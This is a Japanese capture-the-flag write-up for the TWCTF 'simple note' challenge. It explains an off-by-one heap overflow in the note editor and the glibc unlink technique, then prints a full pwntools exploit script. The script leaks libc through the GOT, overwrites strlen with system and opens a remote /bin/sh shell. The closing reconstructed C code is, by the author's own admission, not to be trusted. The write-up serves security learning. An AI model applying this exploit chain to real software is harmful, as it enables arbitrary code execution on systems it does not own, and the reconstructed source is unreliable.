# TWCTF ## simple note writeup 問題 This is a simple note. Hack it! nc pwn1.chal.ctf.westerns.tokyo 16317 simple_note libc.so.6 --- security機構は以下のようになっている [*] '/home/checkmatmusipan/Desktop/ctf/twctf/siNOTE' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) いまではコンパイル通すとRELROはfull RELROになったりするらしいが今回はPartialなので上書きできそう --- 試しに触ってみると ```= ====================== 1. add a new note 2. delete the note 3. show the note 4. edit the note 5. exit ====================== Your choice: 1 Please input the size: 114514 Please input your note: 1919 ``` add で新しいノートを追加 deleteでノート削除 showでノートの内容を確認する editでノートの内容を上書き exitで終了 となっている ただしノードの追加はサイズ制限があり最低でも0x80のサイズでないといけない(0x80以上ならおk、上限は知らん) 推定コード最後に置いておきます(それ読んで * このプログラムで重要となる脆弱性の部分はedit関数のstrlenしていることろです。このstrlenでそれ以前に確保したメモリのサイズとして読み取っている。 * したがってedit関数が呼ばれるより前に文字列で埋め尽くしておけば確保したサイズを超えて書き込みが可能になります。 (よくやりがちな char buf[8]; buf[8] = '\x90';のやつです) 次に重要となるのがlistという名前のグローバル変数が0x6020c0に存在することです 基本的にこの二つを使って攻略します ところでmallocがどういった形でメモリを確保しているのか? は私が分からないのでとりあえず構造体置いておきますね この構造体単位でheapから切りだして利用します ただ切り出すだけではメモリが足りなくなるので(?)再利用をできるように解放後はリストとなっている ```c++= struct malloc_chunk{ INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk* fd;//forward struct malloc_chunk* bk;//back }; ``` fdとbkとprev_sizeはfree時に書き込まれる つまり(サイズにもよるが)解放後はfdとbkのポインタを使って双方向リストで繋がっていてそこからたどれるようになっている では今回使うmallocの双方向リストからの削除方法を見ていこう unlinkと呼ばれるリスト削除は以下のコードとなっている(早そう 雑ですが図をつけておきます。 以下のコードのPをchunk2,FDをchunk3,BKをchunk1としてみる(多分) ![](https://i.imgur.com/92gSFEf.png) if(__builtin_expect(chunksize( P ).... の部分が隣接する次のchunkのprev_sizeとPのsizeが等しいかcheckしている部分 その次が重要でlistがしっかりと保たれているかcheckしているところが次のif文内です。 次に、もし仮にPのfdやbkが脆弱性などによって上書きされてしまっていた場合にそのまま```FD = P->fd;```や```BK = P->bk;```が行われてしまうとFDとBKが上書きされたアドレスに書き換えられてしまいます。 そして```FD->bk = BK;```と```BK->fd =FD;```でPのfdやbkが指す先の周辺にまた書き込みが行われてしまいます。 (PのfdをX,PのbkをYに上書きされた場合 ```FD = X;``` ```BK = Y;``` ```X->bk = Y;```/* X->bkは X+sizeof(INTERNAL_SIZE_T)* 2+sizeof(fd) つまりx+0x18*/ ```Y->fd = X;```/* Y->fdはY+0x10*/) しかし、今現在はif(__builtin_expect(FD->bk != P.... の条件文が追加されPのfdやbkが上書きされたとしてもfdの指す先のBKポインタや、BKの指す先のFDポインタがP自身を指していなかった場合エラー落ちするようにcheckが入っています。 ```c++= 1402 1403 /* Take a chunk off a bin list */ 1404 #define unlink(AV, P, BK, FD) { \ 1405 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ 1406 malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \ 1407 FD = P->fd; \ 1408 BK = P->bk; \ 1409 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ 1410 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ 1411 else { \ 1412 FD->bk = BK; \ 1413 BK->fd = FD; \ ``` このcheckを越えなければPのfdやbkを上書きしてもエラー落ちするので工夫してfdとbkを上書きします。 それにはP自身(chunkのtop)を指すポインタが必要になってきます。 そのポインタをXと置く ”””あとで図を追加””” そしてPのfdとbkを"fdはX-0x18","bkはX-0x10"に上書きしたときのFDとBK周辺がどうなるのか? ```FD = P->fd;```これは```FD = X -0x18;``` ```BK = P->bk;```これは```BK = X -0x10;``` この状態でcheck部分を見ると```FD->bk ==P```と```BK->fd ==P```は ```FD->bk```は```(X-0x18)->bk```となります。ここでbkのアドレス的な位置は```chunkのtopからsizeof(INTERNAL_SIZE_T)*2+sizeof(fd)```つまりX+0x18(さっきと同じ)になるため ```(X-0x18)+0x18 == X```となります。XはPを指しているため```FD->bk==P```を満たします。 BKも同じように```BK->fd == (X-0x10)+0x10 ==X```となるためBK->fd==Pも満たすことになります だからどうした?と思うのですが ```c++= FD->bk = BK; \ ``` ここですね。 さっきのXで当てはめると ```= X= X-0x18; ``` XがX自身の-0x18のアドレスを指すことになります。 X-0x18がまたポインタであり読み込み,書き込み可能だった場合 Xへの書き込みでX-0x18の指す先を任意に変更しその後X-0x18へ書き込むことで任意のアドレスリークや任意のアドレスへの書き込みが可能となります。 --- ### exploit解説 これを踏まえてexploitをみていくまずはheap領域でオーバーフローするようにスプレーする ```python= #ascii sprey add_note(conn , 160*8 , "A"*160*8) ``` ![](https://i.imgur.com/UizXKSm.png) その後上の領域を解放する 次にいくつか領域を確保する 下の図は二つ確保した例で赤枠とオレンジ枠がそれぞれのchunkです。 青線部の上がprev_sizeとsizeを表しています。 ここで見ていただきたいのがオレンジ枠のprev_sizeです. 最初の方に書いたprev_sizeは解放時に書き込まれることが確認できます。(確保しただけでは書き込まれない。したがって一文字オーバーフローする際に上書きされるのはchunkのsize部分です) ![](https://i.imgur.com/cVZwAMj.png) 一応グローバル変数のlistも載せておきます ここで見ておいてほしいのがポインタの指している先です。 構造体のchunkの先ではなく0x10ずれた先を指しています。 (chunkが解放されるまでfdとbkは使われることはないので使用中の場合はdata部として使われる) ![](https://i.imgur.com/XOeShMD.png) この二つの部分が結構重要な部分です 赤枠とオレンジ枠はそれぞれ別のchunkで、青枠が今回準備した偽のchunkです。 紫が偽のprev_sizeで黄色が偽のsize部分になっています。 オレンジ枠内のprev_sizeが0xa0となっていたりsizeが0xb0となっているのはオーバーフローによって書き換えた結果です 実際はprev_sizeが0、sizeが0xb1となっていなければならないのですがオーバーフローによって青枠に合うように変更しています。 listの赤枠も確認すると0x24cf220とあり青枠の偽chunkのtopをしっかりと指している状態。 ![](https://i.imgur.com/XUGNDeR.png) ![](https://i.imgur.com/I5vrQ61.png) 上記のunlinkの条件であるXが赤枠に当たります(実際の正しいchunkだとchunkのtopを指しているポインタがないのでエラー落ちしますがdata部に偽のchunkを作ることでchunkのtopを指しているという状況を作り出しています) そしてオレンジ枠をfreeするとunlinkが起こり以下のようになります。 赤枠だった部分を見ると0x6020c0を指してしまっています ![](https://i.imgur.com/eOObNJO.png) これを使い任意のアドレスリークや任意のアドレスへの書き込みを行います --- ## full explote code ``` python= """ __________ chunk0 0 0xb1 __________ chunk1 0xb1 0 0xa1 fd(0x6020c0 + 8*3 - 0x18) bk(0x6020c0 + 8*3 - 0x10) __________ chunk2 0xa0 0xb0 __________ chunk3 0xb0 0xb1 ___________ chunk4 0xb0 0xb1 ___________ free( chunk2 )-> 0x6020d8 = 0x6020c0 """ from pwn import * context(os='linux', arch='i386') #nc pwn1.chal.ctf.westerns.tokyo 16317 PORT = 16317 HOST = "pwn1.chal.ctf.westerns.tokyo" conn = None if len(sys.argv) > 1 and sys.argv[2] == 'r': conn = remote(HOST, PORT) else: conn = process('./siNOTE') log.info('Pwning') list_addr = 0x6020c0 free_got = 0x602018 def add_note(conn , size , payload): conn.recvuntil("Your choice: \n") conn.sendline("1") conn.recvuntil("size: \n") conn.sendline(str(size)) conn.recvuntil("note: \n") conn.send(payload) def delete_note(conn , index): conn.recvuntil("Your choice: \n") conn.sendline("2") conn.recvuntil("index: \n") conn.sendline(str(index)) conn.recvuntil("Sucess!\n") def show_note(conn , index): conn.recvuntil("Your choice: \n") conn.sendline("3") conn.recvuntil("index: \n") conn.sendline(str(index)) req = conn.recvuntil("\n=") print req return req def edit_note(conn , index , payload ): conn.recvuntil("Your choice: \n") conn.sendline("4") conn.recvuntil("index: \n") conn.sendline(str(index)) conn.recvuntil("note: \n") conn.send(payload) def exit_note(conn ): print(conn.recvuntil("Your choice: \n")) conn.sendline("5") libc = ELF('./libc_siNOTE') payload = "" payload += "A"*240 #ascii sprey add_note(conn , 160*8 , "A"*160*8) delete_note(conn , 0) add_note(conn , 160 , "A"*160)#0 add_note(conn , 160 , "B"*160)#1 add_note(conn , 160 , "C"*160)#2 add_note(conn , 160 , "D"*160)#3 add_note(conn , 160 , "E"*160)#4 add_note(conn , 160 , "F"*160)#5 add_note(conn , 160 , "G"*160)#6 add_note(conn , 160 , "H"*160)#7 edit_note(conn , 3+2 , "A"*160+p64(0xb0)+"\xb1") edit_note(conn , 2+2 , "A"*160+p64(0xb0)+"\xb1") edit_note(conn , 1+2 , p64(0)+p64(0xa1)+p64(0x6020c0 + 8*3 - 0x18)+p64(0x6020c0 + 8*3 - 0x10)+"A"*(0x70+0x8*2)+p64(0xa0)+"\xb0") edit_note(conn , 0+2 , p64(0)*2+p64(0)+p64(0xa1)) #triger delete_note(conn , 2+2) req = show_note(conn , 2+2 -1 ) heap_base = u64(req[7:7+4].replace("\x0a","\x00")+"\x00"*4) -0x10 print("heap_base = {:#x}".format(heap_base)) strlen_got = 0x602028 free_leak ="" edit_note(conn , 2+2 -1 , p64(strlen_got) ) req = show_note(conn , 2+2 -1 -3 ) strlen_leak = req[7:7+8] strlen_leak = u64(strlen_leak.replace("\x0a\x3d","\x00\x00")) print("strlen_leak = {:#x}".format(strlen_leak)) libc_base = strlen_leak - libc.symbols['strlen'] system = libc_base + libc.symbols['system'] _bin_sh = libc_base +0x18cd17 print("libc_base = {:#x}".format(libc_base)) edit_note(conn , 7 , "/bin/sh\x00;") edit_note(conn , 2+2 -1 , p64(strlen_got)) edit_note(conn , 2+2 -1 ,p64(strlen_got)) edit_note(conn , 2+2 -1 -3, p64(system)) print(conn.recvuntil("Your choice: \n")) conn.sendline("4") print(conn.recvuntil("index: \n")) conn.sendline("7") conn.interactive() ``` --- ## 推定コード 心のこもった手動(白目 信じないこと ``` c++= void menu(){ puts("======================"); puts("1. add a new note"); puts("2. delete the note"); puts("3. show the note"); puts("4. edit the note"): puts("5. exit"); puts("======================"); } int32_t read_string(int8_t* input_buf ,int32_t INsize){ char* buf; int32_t size; buf = input_buf; size = INsize; read(stdin, buf , size/* ? */); return 0; } int32_t read_int(){ uint64_t canary; char* local_buf; read_string(local_buf , 0x10); return atoi(local_buf); } //GLOBAL VALLUE char* list[16]; int32_t main(int32_t argc, char* argv){ int32_t choice;//@ initialize(); while(True){ menu(); puts("Your choice:"); choice = read_int(); if( choice <= 5){ //joukenbunki switch(choice){ case 1: add(); break; case 2: delete(); break; case 3: show(); break; case 4: edit(); break; case 5: puts("Bye"); exit(0); break; } }else{ puts("invalid choice"); } } //??? return ga nai!? } void initialize(){ //cut } void add(){ int32_t size; char* alloc; int32_t list_num; puts("Please input the size:"); size = read_int(); if( size >= 0x7f){ //list check for(int32_t i =0;i <15 ;i++){ if(list[i] == 0){ list_num = i; break; } } }else{ puts("Too small size!"); exit(0); } alloc = malloc( size ); if( alloc != null){ puts("Please input your note: "); read_string(alloc , size); list[list_num]= alloc; } } void show(){ int32_t index; puts("??"); index = read_int(); if( index >= 0 && index <=15){ puts("??"); //cut puts(list[index]); }else{ puts("??"); return; } return; } void edit(){ int32_t index; int32_t len; puts(""); index = read_int(); if( index >= 0 && index <= 15){ //list search //cut len = strlen(list[index]); puts("??"); read_string( list[index] , len); }else{ return; } } ``` 最近はボッチ参加が多いので誘っていただけると喜びます